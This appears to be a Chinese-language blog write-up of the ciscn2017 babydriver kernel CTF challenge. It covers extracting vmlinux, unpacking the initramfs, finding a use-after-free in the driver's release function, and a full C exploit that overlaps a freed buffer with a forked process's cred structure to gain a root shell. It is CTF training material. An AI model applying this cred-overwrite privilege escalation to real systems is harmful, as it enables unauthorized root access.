内核pwn入门之ciscn2017_babydrive UAF

解题步骤:
1.简短话语进行写博客吧,题目给了我们一个压缩包,把它解压,发现没有vmlinux,所以这里采用extract-vmlinux来进行提取vmlinux,为什么要提取这个文件,因为后期我们如果用到调试的时候需要调试这个文件 ./extract-vmlinux ./bzImage > vmlinux

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
 
check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1
 
    cat $1
    exit 0
}
 
try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.
 
    # Try to find the header ($1) and decompress from here
    for    pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}
 
# Check invocation:
me=${0##*/}
img=$1
if    [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
fi
 
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
 
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd
 
# Finally check for uncompressed images or objects:
check_vmlinux $img
 
# Bail out:
echo "$me: Cannot find vmlinux." >&2

2.在解压后我们看到一个cpio后缀名的压缩包,用mv工具转换成压缩包把它给解压出来,我们先建立一个临时的core文件

mkdir core
cd core
mv ../xxx.cpio  ./xxx.cpio.tar.gz
gunzip xxx.cpio.tar.gz

3.下面我们查看init这个文件,看一下具体的内核操作

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f

我们发现这个文件加载了驱动,驱动文件在/lib/modules/4.4.72/babydriver.ko下,下面我们就开始用ida逆向一下这个驱动看看有没有什么漏洞
![@4QRVZCX]DJVOXR0$JF%DW.png
我们看到了主函数加载了一些注册设备的信息,这里没什么特别重要的信息

我们再看看旁边的几个函数

我们再看看旁边的几个函数
c4061d7ad0be2778877b23ef0b76d775.png

read函数是把内核空间复制到了用户空间,读
3bcad04e1062c484761141ecf524c8e8.png

write函数是把用户空间复制到了内核空间,完成了写

01a1bc660e1a847ce6cb7e0e2835461f.png

oict是free掉原先的空间,再次更新结构体

01a1bc660e1a847ce6cb7e0e2835461f (1).png

open函数是申请了0x40,更新了结构体
![KQL~D6J%MESFNIFC]B0WFJJ.png][5]

realse函数是free掉空间,但是相对于全局变量的babydev_struct变量,这个似乎没啥用,漏洞也就在这里了,存在了uaf
思路:打开两次设备,当我们申请第二次设备的时候,会覆盖第一次设备的,free掉一次设备,然后利用容易写,篡改len为cread大小0xa8,再次申请的时候会申请到了cread,然后再写一下多个0,就可以完成提权了,对了这里用启动一个子进程fock,才能照成重叠,具体原因我也不知道是啥
用c写的exp,通过exp更能理清楚上面的思路
exp:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xA8);
    // 释放 fd1
    close(fd1);
    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();//这里猜测启动一个进程会创建一个cred,所以要创建,申请到了fd1的0xa8的空间,len正好符合cred的size
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }
    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0,为什么用fd2,因为fd2覆盖了fd1所以修改fd2可以直接修改fd1,又因为我们启动了一个进程,所以fd1被弄成了cred,直接write任意写下cread的0即可提权成功
        char zeros[30] = {0};
        write(fd2, zeros, 28);
        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }
    
    else
    {
        wait(NULL);
    }
    close(fd2);
 
    return 0;
 
}

写完脚本,先gcc一下,再重新打包运行boot.sh进到内核,运行一下exp即可

gcc exp.c --static -o exp
find . |cpio -o --format=newc > rootfs.cpio   重新打包
./boot.sh

至于调试,目前我还没搞明白咋调试的,等有时间把调试的东西,补上,看大佬的博客,调试步骤不是特别难,但是我不知道在调试之前如何设置确实一个大问题,噗嗤,等有时间再仔细研究研究
调试大概步骤:
查看符号表用于gdb导入:cat /sys/modules/device_name/sections/.text

gdb -q vmlinx
add-symbol-file xxxx.ko text_address
b babayopen
target remote localhost:1234
set architecture i386:x86-64:intel
c 

本文链接:

http://azly.top/index.php/archives/21/
1 + 4 =
快来做第一个评论的人吧~